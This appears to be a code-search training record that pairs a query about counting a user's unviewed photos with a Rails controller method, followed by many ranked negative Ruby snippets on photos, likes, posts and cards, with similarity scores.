set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end" ]
[ "0.69158983", "0.69098645", "0.65774", "0.64389724", "0.636584", "0.6353217", "0.63310826", "0.6307352", "0.6304468", "0.62790704", "0.6266383", "0.62411547", "0.6215281", "0.61780804", "0.6171618", "0.61694515", "0.61694515", "0.6158711", "0.61342686", "0.6116217", "0.6067612", "0.6050449", "0.60331106", "0.600992", "0.59992796", "0.59992796", "0.5996632", "0.5988275", "0.5987682", "0.59851396", "0.59819025", "0.59526813", "0.5947895", "0.5940227", "0.5938541", "0.590817", "0.5898255", "0.5887193", "0.5880424", "0.58755034", "0.5873287", "0.58591455", "0.58590686", "0.5856977", "0.58424205", "0.58375007", "0.5830682", "0.58127695", "0.58107007", "0.5810552", "0.5810494", "0.58053005", "0.58008546", "0.5793787", "0.5793787", "0.5793787", "0.5793787", "0.5793787", "0.5793787", "0.578671", "0.5784433", "0.57802147", "0.5767329", "0.57657355", "0.57642007", "0.5756076", "0.5753114", "0.57528275", "0.5746162", "0.57446784", "0.57442176", "0.5744193", "0.5738026", "0.5723341", "0.57202804", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785", "0.57153785" ]
0.6183778
13
given a user_id, return a count of unviewed photos
def num_new_photos user_id = params[:user_id] # if request.format != :json # render :status=>406, :json=>{:message=>"The request must be json"} # return # end if user_id.nil? render :status=>400, :json=>{:message=>"The request must contain a user_id."} return end count = Postcard.where("receiver_id = ? AND viewed = ?", user_id, false).count render :status=>200, :json => {:num_new_photos => count} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_unviewed_ids(user); end", "def missed_answers_count(user)\n answers.where('answers.created_at > ?', latest_profile_view(user))\n .where.not(answers: { id: user.viewed_answers.ids }).count\n end", "def get_user_tag_count(owner_user_id)\n count = USER_TAGS.where(owner_user_id: owner_user_id).count\n return count.nil? ? 0 : count\n end", "def total_messages_not_viewed\n @conversations = @current_user.conversations\n @not_viewed = 0\n @conversations.each do |c|\n @not_viewed += c.how_many_not_viewed(@current_user) unless c.how_many_not_viewed(@current_user) == nil\n end\n end", "def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n number_of_photos = from_instagram[\"data\"].size\n all_likes = Array.new\n i = 0\n while i < number_of_photos\n likes = from_instagram[\"data\"][i][\"likes\"][\"count\"]\n all_likes.push(likes)\n i = i + 1\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end", "def user_photos(user_id=self.username)\n connection.get(\"/users/#{user_id}/photos\").body.activity\n end", "def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n all_likes = from_instagram[\"data\"].map do |datum|\n datum[\"likes\"][\"count\"]\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end", "def not_visitors_count\n self.not_visitors.count\n end", "def all_photos\n \n user_id = params[:user_id]\n\n if user_id.nil?\n render :status=>400, :json=>{:message=>\"The request must contain the user_id.\"}\n return\n end\n\n u = User.find(user_id)\n if u.nil?\n logger.info(\"User with email #{email} failed signin: user cannot be found.\")\n render :status=>401, :json=>{:message=>\"User cannot be found.\"}\n return\n end\n \n render :status=>200, :json => u.postcards.order('created_at desc')\n u.postcards.where(\"viewed = ?\", false).each do |p|\n p.viewed = true\n p.save\n end\n end", "def unread_count(user)\n public_replies(user).unread_by(user).size + (unread?(user) ? 1 : 0)\n end", "def unvoted_photos\n votes = self.votes\n @voted_photos = votes.map{|vote| vote.photo_id}\n @photos = Photo.all.map{|photo| photo.id}\n @photos-@voted_photos\n end", "def likes(user_id)\n\t\tfrom_instagram = retrieve_last_10_photos(user_id)\n\t\tnumber_of_photos = from_instagram[\"data\"].size\n\t\tall_likes = Array.new\n\t\ti = 0\n\t\twhile i < number_of_photos\n\t\t\tlikes = from_instagram[\"data\"][i][\"likes\"][\"count\"]\n\t\t\tall_likes.push(likes)\n\t\t\ti = i + 1\n\t\tend\n\n\t\tall_likes = all_likes.reduce(:+)\n\n\t\treturn all_likes\n\tend", "def display_notif_unseen(usr_id)\n num = PublicActivity::Activity.where(is_seen: false, owner_id: usr_id, owner_type: \"User\").count\n return num if num > 0\n return \"\" # Else return blank string\n end", "def popularity_counter(user_id)\n likes_counter = 0\n events = Event.all.where(user_id: user_id)\n events.each do |event| \n likes_counter += event.likes.count\n end\n likes_counter\n end", "def top_tagged(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n number_of_photos = from_instagram[\"data\"].size\n\n all_people_you_tag = []\n users_per_photo = []\n i = 0\n while i < number_of_photos\n x = 0\n people_per_photo = from_instagram[\"data\"][i][\"users_in_photo\"].size\n people_you_tag = from_instagram[\"data\"][i][\"users_in_photo\"]\n while x < people_per_photo\n username = from_instagram[\"data\"][i][\"users_in_photo\"][x][\"user\"][\"username\"]\n array = users_per_photo.push(username)\n x = x + 1\n end\n i = i + 1\n end\n\n if array\n\n b = Hash.new(0)\n array.each do |v|\n b[v] += 1\n end\n\n sorted_b = b.sort_by {|k, v| v}\n sorted_b = sorted_b.reverse\n\n sorted_b.map do |k, v|\n puts \"#{k}: #{v} tags\"\n end\n\n return sorted_b\n\n else\n return \"No users tagged\"\n end\n\n end", "def top_tagged(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n number_of_photos = from_instagram[\"data\"].size\n\n all_people_you_tag = []\n users_per_photo = []\n i = 0\n while i < number_of_photos\n x = 0\n people_per_photo = from_instagram[\"data\"][i][\"users_in_photo\"].size\n people_you_tag = from_instagram[\"data\"][i][\"users_in_photo\"]\n while x < people_per_photo\n username = from_instagram[\"data\"][i][\"users_in_photo\"][x][\"user\"][\"username\"]\n array = users_per_photo.push(username)\n x = x + 1\n end\n i = i + 1\n end\n\n if array\n\n b = Hash.new(0)\n array.each do |v|\n b[v] += 1\n end\n\n sorted_b = b.sort_by {|k, v| v}\n sorted_b = sorted_b.reverse\n\n sorted_b.map do |k, v|\n puts \"#{k}: #{v} tags\"\n end\n\n return sorted_b\n\n else \n return \"No users tagged\"\n end\n\n end", "def get_no_of_users\n\t\tusers.select(:id).count\n\tend", "def top_tagged(user_id)\n\t\tfrom_instagram = retrieve_last_10_photos(user_id)\n\n\t\tnumber_of_photos = from_instagram[\"data\"].size\n\n\t\tall_people_you_tag = []\n\t\tusers_per_photo = []\n\t\ti = 0\n\t\twhile i < number_of_photos\n\t\t\tx = 0\n\t\t\tpeople_per_photo = from_instagram[\"data\"][i][\"users_in_photo\"].size\n\t\t\tpeople_you_tag = from_instagram[\"data\"][i][\"users_in_photo\"]\n\t\t\twhile x < people_per_photo\n\t\t\t\tusername = from_instagram[\"data\"][i][\"users_in_photo\"][x][\"user\"][\"username\"]\n\t\t\t\tarray = users_per_photo.push(username)\n\t\t\t\tx = x + 1\n\t\t\tend\n\t\t\ti = i + 1\n\t\tend\n\n\t\tif array\n\n\t\t\tb = Hash.new(0)\n\t\t\tarray.each do |v|\n\t\t\t\tb[v] += 1\n\t\t\tend\n\n\t\t\tsorted_b = b.sort_by {|k, v| v}\n\t\t\tsorted_b = sorted_b.reverse\n\n\t\t\tsorted_b.map do |k, v|\n\t\t\t\tputs \"#{k}: #{v} tags\"\n\t\t\tend\n\n\t\t\treturn sorted_b\n\n\t\telse \n\t\t\treturn \"No users tagged\"\n\t\tend\n\n\tend", "def photo_for_user(user=nil)\n return photos.last\n photo = \n unless photos.empty? \n if not (took_photos = photos.by(user)).empty?\n took_photos.last\n elsif not (in_photos = photos.of(user)).empty? \n in_photos.last\n else \n photos.last\n end\n else\n nil\n end\n end", "def index\n if @user && !@user.photos.empty?\n @photos = User.find(@user.id).photos\n else\n redirect_to new_user_photo_path(@user)\n end \n end", "def get_unpublished_count\n @unpublished_posts = Post.where(:published => false).size\n end", "def recent_photos(user_id_or_url, options = {})\n options = make_options(:user_id, user_id_or_url, options)\n options[:recent_photos] = true\n get(options)\n end", "def user_count\n user_query = User.where(['created_at > ?', @since])\n user_query = user_query.where(tenant_id: @tenant_id) unless @tenant_id.nil?\n user_query.count\n end", "def user_count\n user_query = User.where(['created_at > ?', @since])\n user_query = user_query.where(tenant_id: @tenant_id) unless @tenant_id.nil?\n user_query.count\n end", "def users_by_amount_visited\n user_visits = self.visited_museums.count\n other_user_visits = User.where.not(id: self.id).map { |user| user.visited_museums.count }\n other_user_visits.unshift(user_visits)\n end", "def photos_tagged_user(uid)\n query = \"select pid, src_big, src_small from photo where pid in (select pid from photo_tag where subject = #{uid}) and owner=#{ATC_GID} order by created\"\n return MiniFB.call(FB_API_KEY, FB_SECRET_KEY, \"FQL.query\", \"query\" => query, \"session_key\" => FB_SESSION_KEY, \"expires\" => 0)\n end", "def user_views\n session[:views] = if current_user\n session[:views].to_i == 10 ? 1 : session[:views].to_i + 1\n else\n 0\n end\n end", "def total_likes\n uploaded_photos.inject(0) do |sum, image|\n sum += image.likers.count\n end\n end", "def number_reported_photo?\n return Photo.where(\"report_count > 0\").size\n end", "def index\n @conversations = @current_user.conversations\n @not_viewed = 0\n @conversations.each do |c|\n @not_viewed += c.how_many_not_viewed(@current_user) unless c.how_many_not_viewed(@current_user) == nil\n end\n @current_user\n end", "def count_user\n count = 0\n @f_net.each do |followees|\n count += 1 unless !followees or followees.empty?\n end\n count\n end", "def active_post_count usr\n posts.active_status(usr).size rescue 0\n end", "def notifications_count\n notifications_count ||= self.notifications_to_show_user.where(:seen_by_user => false).count\n end", "def count_getted_like\n user = User.find_by id: self.id\n reviews = user.reviews\n total = 0\n reviews.each do |review|\n total += review.count_like\n end\n return total\n end", "def user_count\n users.count\n end", "def popular\n @photos = Rails.cache.fetch(\"most_popular\", expires_in: 1.minute) { photo_service.most_popular }\n @liked_ids = user_logged_in? ? Like.where(user_id: session[:uid]).pluck(:photo_id) : []\n end", "def liked_comments_count\n # Creating comments\n comment_ids = \"SELECT id FROM comments WHERE user_id = :user_id\"\n # Except for self like\n CommentLike.where(\"comment_id IN (#{comment_ids}) AND user_id <> :user_id\", user_id: id).count\n end", "def CommentCount\n return Comment.where(:user_id => id).count\n end", "def num_uniq_recent_clicks\n visitors.select(\"visits.user_id\").where(\"visits.created_at > ?\", 10.minutes.ago ).distinct.count\n # This works, too, but only because in all the joins we make, \"user_id\" is unique:\n # visitors.select(\"user_id\").where(\"visits.created_at > ?\", 10.minutes.ago ).distinct.count\n end", "def photo_profiles_by_day_added\n unscoped\n .where.not(profile_photo: nil)\n .where.not(profile_photos: { image: nil })\n .joins(:profile_photo)\n .group(\"DATE_TRUNC('day',profile_photos.created_at)\")\n .count\n end", "def user_count; end", "def user_song_uploads_total\r\n self.user_song_uploads.count\r\n end", "def unseen_for(user_id, limit: 5)\n subjects.subtract user(user_id).seen, limit\n end", "def user_photos user_id=\"self\", options={}\n response = get(\"/users/#{user_id}/photos\",options)[\"response\"]\n @photos = response[\"photos\"]\n @photos[\"items\"].map!{|item| Foursquared::Response::Photo.new(self, item)}\n end", "def get_error_count(user_id)\n error_counts_lock.synchronize do\n self.error_counts[user_id] ||= 0\n end\n end", "def count_geographic_occurrences_of_publications_from_user(user)\n count_geographic_occurrences_of_publications(user.publications)\n end", "def get_votes_for_post(postid)\n return Vote.select(:user_id).where(:post_id => postid).count\n end", "def add_votes(user)\n # select 20 random photos in week 0\n\n ids = db[:photos].select(:id).where(ready: true, week: 0).order(Sequel.lit('RANDOM()')).limit(20).all.map{|p| p[:id] }\n\n ids.each do |id|\n Volt.as_user(user) do\n photo = store.photos.where(id: id).first.sync\n\n up = rand(2) == 0\n\n if up\n photo.up_vote_count += 1\n else\n photo.down_vote_count += 1\n end\n\n store.votes.create(photo_id: id, up: up).sync\n end\n end\n end", "def photos\n @user = User.find(params[:id])\n @type = params[:type]\n unless read_fragment(:part => \"photos_#{@type}_#{@user.id}\")\n if(@type == \"new\" && @user.last_photo_uploaded_at < 5.minutes.ago)\n @photos = @user.recently_submitted_photos.where(\"created_at > ?\", @user.recently_submitted_photos.first.created_at - 1.day).reverse\n elsif(@type == \"updated\")\n @photos = @user.updated_photos.where(\"updated_at > ?\", 1.day.ago).reverse\n elsif(@type == \"popular\")\n @photos = @user.popular_photos.limit(50)\n elsif(@type != \"new\")\n @photos = @user.photos.limit(50)\n end\n end\n\n#if request.user_agent.downcase.include? \"google\"\n# UserMailer.notify_admins(\"User photos for #{@user.display_name} has been requested by a google bot\").deliver\n# end\n\n respond_to do |format|\n format.html { render :layout => false}\n format.xml { render :xml => @user }\n end\n end", "def num_files_owned_by_user(in_user_name)\n command_string = 'find '+@install_root+' -user '+in_user_name+' | wc -l'\n inspec.bash(command_string).stdout.split(\"\\n\")[0].strip.to_i\n end", "def get_all_uploaded_documents_count\n client = @current_advisor.clients_as_advisor.find_by(id: @client_id)\n if client.consumer_id\n Document.where(:consumer_id => client.consumer_id).count\n else\n client.document_ownerships.count\n end\n end", "def num_recent_uniques\n # should only collect unique clicks in a recent time period \n # (say, 10.minutes.ago)\n visits\n .select('user_id')\n .where('created_at > ?', 10.minutes.ago)\n .distinct\n .count\n end", "def userfilter\n @tweets = Tweet.where(\"user_vote < 0 or user_vote > 0\").includes(:company).page params[:page]\n @count = Tweet.where(\"user_vote < 0 or user_vote > 0\").count\n end", "def user_rating(user_id, year = Time.zone.now.year)\n return 0 unless (user = User.find(user_id)) && user.subscribed?(year)\n index = users_species_count(year).find_index { |user| user.id == user_id }\n index ? index + 1 : 0\n end", "def not_visitors\n User.all - self.users\n end", "def num_clicks\n count = 0\n self.visits.each { |user| count += user.visits }\n count\n end", "def tag_user_id name, pages = 1\n url = API + \"tags/#{name}/media/recent/?access_token=\" + @access_token\n pages[:pages].to_i.times do\n get(url)['data'].map {|image| @user_ids << image['user']['id']}\n url = get(url)['pagination']['next_url']\n end\n export(@user_id_list, @user_ids)\n end", "def show\n #get the user with the url\n @user = User.find(params[:id])\n\n #check if user is the one logged in\n if session[:user_id].to_s == params[:id]\n #then show all his pictures\n @photos = @user.photos\n else\n #show only public pictures\n @photos = @user.photos.where(\"is_private = false\")\n end\n\n end", "def total_users\n users.count\n end", "def not_answered_ratings\n self.ratings.not_answered.count\n end", "def interested_users_count\n self.users.size\n end", "def total_photos\n created_albums.inject([]) do |total_photos, album|\n if album.photos\n total_photos << album.photos\n else\n total_photos\n end\n end\n .flatten\n end", "def set_view_count\n pa = params[:view_count]\n @view_count = params[:id].to_i.zero? ? ViewCount.where(user_id: pa[:user_id], post_id: pa[:post_id]).take : ViewCount.find(params[:id])\n end", "def user_photos(id = 'self', options = {})\n get(\"/users/#{id}/photos\", options).photos\n end", "def total_upvotes\n \tself.shout_votes.where(upvote: true).length - self.shout_votes.where(upvote: false).length\n end", "def photos_count(info_count)\n x = info_count.inject(Hash.new(0)) { |h, e| h[e] += 1 ; h }\nend", "def index\n @photos = current_user.photos\n end", "def in_my_collection(user)\n collection = Media.count_by_sql([\"select count(c.id) from collections c inner join collections_items ci on \"+\n \"c.id = ci.collection_id and ci.item_id = ? and ci.item_type = 'Media' inner join lightboxes lb on \"+\n \"c.id = lb.link_id and lb.user_id = ? and lb.link_type = 'Collection'\", self.id, user.id]) > 0\n photo = Media.count_by_sql([\"select count(l.id) from lightboxes l where link_id = ? and user_id = ? and link_type = ?\",\n self.id, user.id, 'Media']) > 0\n\n return collection || photo\n end", "def unpaged_count\n scope_without_pagination.count\n end", "def num_unread_messages(user)\n Rails.cache.fetch(\"#{cache_key_with_version}/num_unread_messages/#{user.id}\") do\n Message.unread_by(user).where(chat_room: self).where.not(user: user).count\n end\n end", "def engaged_users\n self.users.select { |u| u.ideas.count > 0 || u.comments.count > 0 || u.votes.count > 0 || u.support_messages.count > 0 }\n end", "def photo_count\r\n infoxml = get_info\r\n return infoxml.at('photos/count').inner_text.to_i\r\n end", "def real_comment_count(photo_data)\n # Don't know what the maximum Instagram will give us is, let's pretend it's\n # 20.\n return photo_data.comments['count'] if photo_data.comments['count'] > 20\n\n # This is getting copy-pasta...\n params = {client_id: AppConfig.instagram.client_id}\n # If photo has a user with creds, make the request as them\n params[:access_token] = self.user.access_token if self.user and self.user.access_token\n\n begin\n response = Star::Requester.get \"media/#{self.uid}/comments\", params\n if response.success? and response.body.data\n return response.body.data\n .select{|comment| comment.from.id != photo_data.user.id}\n .uniq_by{|c| c.from.id}.length\n else\n raise \"/media/{id}/comments was not a success: #{response.body.inspect}\"\n end\n rescue Faraday::Error::ResourceNotFound, Faraday::Error::ClientError\n return photo_data.comments['count']\n end\n end", "def index\n @photos = current_user.photos\n end", "def images_by_user\n user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n return unless user\n\n query = create_query(:Image, :by_user, user: user)\n show_selected_images(query)\n end", "def show\n @emptyphoto = Photo.new\n @photo = Photo.find_by_secret_id(params[:id])\n @top5 = Photo.popular\n\n @photo.add_to_view_count(1)\n end", "def likes\n likers(User).count\n end", "def all_likers(user_id)\n\t\tfrom_instagram = retrieve_last_10_photos(user_id)\n\t\tnumber_of_photos = from_instagram[\"data\"].size\n\t\tmedia_ids = []\n\t\ti = 0\n\t\twhile i < number_of_photos \n\t\t\ttype = from_instagram[\"data\"][i][\"id\"]\n\t\t\tmedia_ids.push(type)\n\t\t\ti = i + 1\n\t\tend\n\n\t\tlikers_results = media_ids.map do |media_id|\n\t\t\tsearch_url = \"https://api.instagram.com/v1/media/#{media_id}/likes?client_id=#{INSTAGRAM_CLIENT_ID}\"\n\t\t\tlikers = HTTParty.get(search_url)\n\t\tend\n\n\t\tall_likers = Array.new\n\t\tlikers_per_photo = Array.new\n\t\n\t\t# changed this to number_of_photos, make sure that still works\n\t\ti = 0\n\t\twhile i < number_of_photos\n\t\t\tx = 0\n\t\t\tlikes_per_photo = likers_results[i][\"data\"].size\n\t\t\twhile x < likes_per_photo\n\t\t\t\teach_user_who_likes_photo = likers_results[i][\"data\"][x][\"username\"]\n\t\t\t\tall_likers = likers_per_photo.push(each_user_who_likes_photo)\n\t\t\t\tx = x + 1\n\t\t\tend\n\t\t\ti = i + 1\n\t\tend\n\n\t\treturn all_likers\n\tend", "def all_likers(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n picture_ids = from_instagram[\"data\"].map { |picture| picture[\"id\"] }\n \n likes = picture_ids.map do |media_id|\n search_url = \"https://api.instagram.com/v1/media/#{media_id}/likes?client_id=#{INSTAGRAM_CLIENT_ID}\"\n HTTParty.get(search_url)\n end\n\n likers_usernames = []\n \n likes.each do |photo_likes|\n photo_likes[\"data\"].each do |like|\n likers_usernames << like[\"username\"]\n end\n end\n\n return likers_usernames\n end", "def all_likers(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n number_of_photos = from_instagram[\"data\"].size\n media_ids = []\n i = 0\n while i < number_of_photos\n type = from_instagram[\"data\"][i][\"id\"]\n media_ids.push(type)\n i = i + 1\n end\n\n likers_results = media_ids.map do |media_id|\n search_url = \"https://api.instagram.com/v1/media/#{media_id}/likes?client_id=#{INSTAGRAM_CLIENT_ID}\"\n likers = HTTParty.get(search_url)\n end\n\n all_likers = Array.new\n likers_per_photo = Array.new\n\n # changed this to number_of_photos, make sure that still works\n i = 0\n while i < number_of_photos\n x = 0\n likes_per_photo = likers_results[i][\"data\"].size\n while x < likes_per_photo\n each_user_who_likes_photo = likers_results[i][\"data\"][x][\"username\"]\n all_likers = likers_per_photo.push(each_user_who_likes_photo)\n x = x + 1\n end\n i = i + 1\n end\n\n return all_likers\n end", "def original_photo(photourl)\n if(current_user.upvotes.find_by(photourl: photourl) || current_user.downvotes.find_by(photourl: photourl)) \n return false\n end\n return true\nend", "def photos(options = {})\n client = api_client\n\n count = options.fetch(:count, 20)\n # Initial starting value for max_id, if any.\n max_id = options.fetch(:max_id, nil)\n\n api_recent_media = Hash[1.step(count,20).inject([]) do |acc, a|\n if (count > 20)\n options = {count: 20}\n count -= 20\n else\n options = {count: count}\n count = 0\n end\n options = {max_id: max_id}.merge(options) if max_id\n begin\n response = client.user_recent_media(options)\n max_id = response['data'].last['id'].to_i if response['data'].last\n acc + response['data'].map {|u| [u['id'], u]}\n rescue Instagram::Error => e\n # On error just return the accumulator and keep processing\n logger.error(\"Received error #{e.message} from Instagram; continuing.\")\n acc\n end\n end]\n end", "def views_count\n self.views_count_cache || self.views_count_cache = self.calculate_views_count\n end", "def get_counts(args = {})\r\n Net::Flickr.instance().request('flickr.photos.getCounts', args).at('photocounts')\r\n end", "def upvote\n # $(`js-count-${data.picture_id}`).html(data.upvotes);\n @picture = Picture.find(params[:id])\n @picture.liked_by current_user\n render json: { picture_id: @picture.id, upvotes: @picture.get_upvotes.size }\n end", "def get_unrated_items(user)\n items = []\n\n Item.all.each do |item|\n review = Review.where(user_id: user.id, item_id: item.id).first\n if not review\n items.push item\n end\n end\n\n items\n end", "def upvote_count\n self.get_upvotes.size\n end", "def total_unique_views_per_file_path\n iterate_unique_views.group_by { |x| x }.map { |k, v| [k, v.count] }\n end", "def get_users_current_votes(user)\n applicable_ideas = Idea.all.published.where.not(user: user)\n applicable_versions = Version.where(idea: applicable_ideas)\n votes = Upvote.where(user: user, version: applicable_versions.ids)\n return votes\n end", "def q_with_dupes_count(current_user)\n count = 0\n sections.each do |s|\n count += s.q_with_dupes_count(current_user)\n end\n count\n end", "def user_counter \n RecipeCard.all.select{|cards|cards.recipe == self}.count \n end", "def count_item\n count = 0\n @g_net.each do |followers|\n count += 1 unless !followers or followers.empty?\n end\n count\n end", "def photos\n Photo.all.select do |photo|\n photo.user == self\n end\n end", "def unread_messages\n @user_wise_unread_messages = current_user.user_messages\n .where(is_read: false)\n .joins(:message)\n .group('messages.user_id').count\n end", "def count_unarchived_articles\n Article.count_without_status(VisibleFeature::ARCHIVED)\n end", "def post_count(user)\n published = user.posts.published.count\n unpublished = user.posts.unpublished.count\n posts_due_to_date = user.assessments.count\n\n posts = \"#{published}/#{unpublished} of #{posts_due_to_date}\"\n\n if user.posts.published.count == 0\n [posts, { class: 'danger' }]\n else\n posts\n end\n end", "def user_species_count(user_id, year = Time.zone.now.year)\n return 0 unless (user = User.find(user_id)) && user.subscribed?(year)\n Bird.published.known.approved\n .where(user_id: user_id)\n .where(\"EXTRACT(year FROM timestamp) = ?\", year)\n .where(\"EXTRACT(year FROM created_at) = ?\", year)\n .select(:species_id).distinct(:species_id)\n .count\n end", "def user_count\n respond_with json_response('user_count', User.active.count)\n end", "def upvotes_size\n\t\treviews.where(satisfied: true).size\n\tend", "def rooms_count_done user_id\n rooms = self.rooms.where(\"user_id = ?\", user_id).order(state: :asc, id: :asc)\n rooms.where(state: \"used\").count\n end" ]
[ "0.69725084", "0.66770416", "0.6536266", "0.62331814", "0.6231103", "0.62043285", "0.61953264", "0.6180939", "0.61220324", "0.60758746", "0.60401505", "0.6034242", "0.5928755", "0.59164304", "0.58941805", "0.58730865", "0.58436304", "0.5835657", "0.5789464", "0.57615155", "0.5744849", "0.5720828", "0.57148933", "0.57143074", "0.57142687", "0.57136333", "0.5705362", "0.5693933", "0.5690329", "0.56732017", "0.5670085", "0.56472075", "0.56450605", "0.563627", "0.5628063", "0.5618974", "0.56153345", "0.55930394", "0.5588769", "0.55659986", "0.54966563", "0.5495714", "0.5489901", "0.5486698", "0.54855555", "0.5482018", "0.5479987", "0.546817", "0.5461229", "0.5458817", "0.5452435", "0.54427886", "0.5437842", "0.5436498", "0.5411565", "0.54020196", "0.5391969", "0.5390438", "0.539019", "0.53810734", "0.5378575", "0.53689307", "0.5359608", "0.53579235", "0.53544164", "0.53448284", "0.53425896", "0.534239", "0.53246516", "0.53101254", "0.53012884", "0.52996033", "0.52994126", "0.52973545", "0.52919644", "0.5291851", "0.5290619", "0.52859354", "0.52787733", "0.527766", "0.5275391", "0.5268273", "0.52656484", "0.52633595", "0.52569693", "0.5252982", "0.5250665", "0.5245096", "0.52419263", "0.5234797", "0.5228672", "0.52231824", "0.52185345", "0.5216677", "0.5215743", "0.5208467", "0.52081186", "0.52064854", "0.5202901", "0.52005506" ]
0.67354274
1
given a user_id, return all postcards
def all_photos user_id = params[:user_id] if user_id.nil? render :status=>400, :json=>{:message=>"The request must contain the user_id."} return end u = User.find(user_id) if u.nil? logger.info("User with email #{email} failed signin: user cannot be found.") render :status=>401, :json=>{:message=>"User cannot be found."} return end render :status=>200, :json => u.postcards.order('created_at desc') u.postcards.where("viewed = ?", false).each do |p| p.viewed = true p.save end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_cards_of_player_with_user_id(user_id)\n go_fish.list_cards_of_player_with_user_id(user_id)\n end", "def cardsByUser\n results = HTTParty.get(\"http://192.168.99.104:3003/credit_cards/user?id=\"+ @current_user[\"id\"].to_s)\n render json: results.parsed_response, status: results.code\n end", "def show_cards\r\n @user_cards = User.find(params[:id]).cards\r\n end", "def card_numbers(user_id)\n self.drawn_cards.where(user_id: user_id).pluck(:card_number)\n end", "def index\n @user_cards = UserCard.all\n end", "def index\n @user_cards = UserCard.all\n end", "def all_cards(user)\n user.cards.count\n end", "def index\n @card_details = CardDetail.where(user_id: params[:user_id])\n end", "def get_public_posts(user_id)\n return db.execute(\"SELECT * FROM post WHERE user_id = ? AND public = ?\",user_id, \"on\")\n end", "def post\n array = []\n Post.post.each do |element|\n if element.user_id == self.user_id\n array << element\n end\n end\n array.each do |post|\n puts post.title\n end\n end", "def ownedCards\n \tcus_owned_by_user = cards_users.where(is_shared: false)\n\n \t# Have a list of CardsUsers, but want a list of Owned Cards\n \towned_cards = []\n \tcus_owned_by_user.each do | cu |\n \t\tcard = Card.find(cu.card_id)\n \t\towned_cards.push(card)\n \tend\n \towned_cards\n end", "def get_user_posts\n Post.joins(:user).where(users: {id: self.id})\n end", "def cards\n #Card.joins(:duel_user_cards).\n end", "def cards\n RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n end", "def index\n posted_user_ids = User.has_posted.pluck(:id)\n @posts = Post.includes(:book, :user).where(user_id: posted_user_ids)\n end", "def users\n self.user_cards.map do |card|\n card.user\n end\n end", "def my_posts\n Post.where(user_id: self.id)\n end", "def index\n @cards = Card.where(\"user_id = ?\", current_user.id).order('default_card DESC')\n end", "def all\n post_owners = [current_user.id] + Friendship.where(:user2_id => current_user, :approved => true).pluck(:user1_id)\n @posts = Post.where('owner_id' => post_owners).order(created_at: :desc).page(params[:page]).per_page(POSTS_PER_PAGE)\n end", "def index\n @posts = Post.all\n @posts = @posts.where(user_id: params[:user_id]) unless params[:user_id].blank?\n @posts = @posts.order(number: :asc)\n end", "def user_list\n current_user_cards = current_user.cards\n if !current_user_cards || current_user_cards.size.to_i == 0\n flash[:notice] = _('You_have_no_view_permission')\n redirect_to(:root) && (return false)\n end\n\n @page_title = _('Card_groups')\n\n session[:cardgroup_search_options] ||= {}\n\n @options = {\n 's_number' => '',\n 's_pin' => '',\n 's_balance_max' => '',\n 's_balance_min' => '',\n 's_sold' => '',\n 's_caller_id' => ''\n }\n\n @pin_visible = Confline.get_value('CCShop_hide_pins_for_distributors').to_i.zero?\n @options = @options.merge(session[:cardgroup_search_options])\n\n @cardgroups = Cardgroup.select('cardgroups.*, COUNT(cards.id) AS card_count').joins('LEFT JOIN cards ON (cards.cardgroup_id = cardgroups.id and cards.hidden = 0)').where(['cards.user_id = ?', current_user_id]).group('cardgroups.id').all\n end", "def user_service_cards\n @user = User.where(_id: params[:user_id]).first\n if current_user.id.to_s == params[:user_id]\n @cards = @user.service_cards\n else\n @cards = @user.service_cards.where(status: ServiceCard::SERVICE_CARD[:ON])\n #@cards = @user.service_cards\n end\n render json: @cards\n rescue => e\n rescue_message(e)\n end", "def find_user_recipe_cards\n RecipeCard.all.map{|rcard| rcard if rcard.user_O == self}.compact\n\n end", "def sharedCards\n \tcus_shared_with_user = cards_users.where(user_id: self.id, is_shared: true)\n\n \t# Have a list of CardsUsers, but want a list of Shared Cards\n \tshared_cards = []\n \tcus_shared_with_user.each do | cu |\n \t\tcard = Card.find(cu.card_id)\n \t\tshared_cards.push(card)\n \tend\n \tshared_cards\n end", "def get_cards\n \tif (!stripe_customer_id.nil?)\n\t customer = Stripe::Customer.retrieve(stripe_customer_id)\n\t puts customer.cards\n\t return customer.cards\n\telse\n\t\treturn nil\n\tend\n end", "def index\n @name_cards = @user.name_cards.page(params[:page])\n end", "def all_user_flashcards_for(article)\n UserFlashcard.where(user: self, flashcard: [article.flashcards.published])\n end", "def deal_card\n @eg_users.each do |user|\n user << @pokerdeck.pop\n end\n @eg_users\n end", "def get_posts_for_user\n @posts = policy_scope(Post)\n end", "def post_content_all(selected_user)\n #load trusts that are associated with interests containing the same beads combination as the current interest\n loaded_trustors = trustors(selected_user)\n \n public_posts = self.posts.find(:all,\n :conditions => [\"posts.p_private = ?\", 0],\n :order => 'posts.updated_at DESC')\n 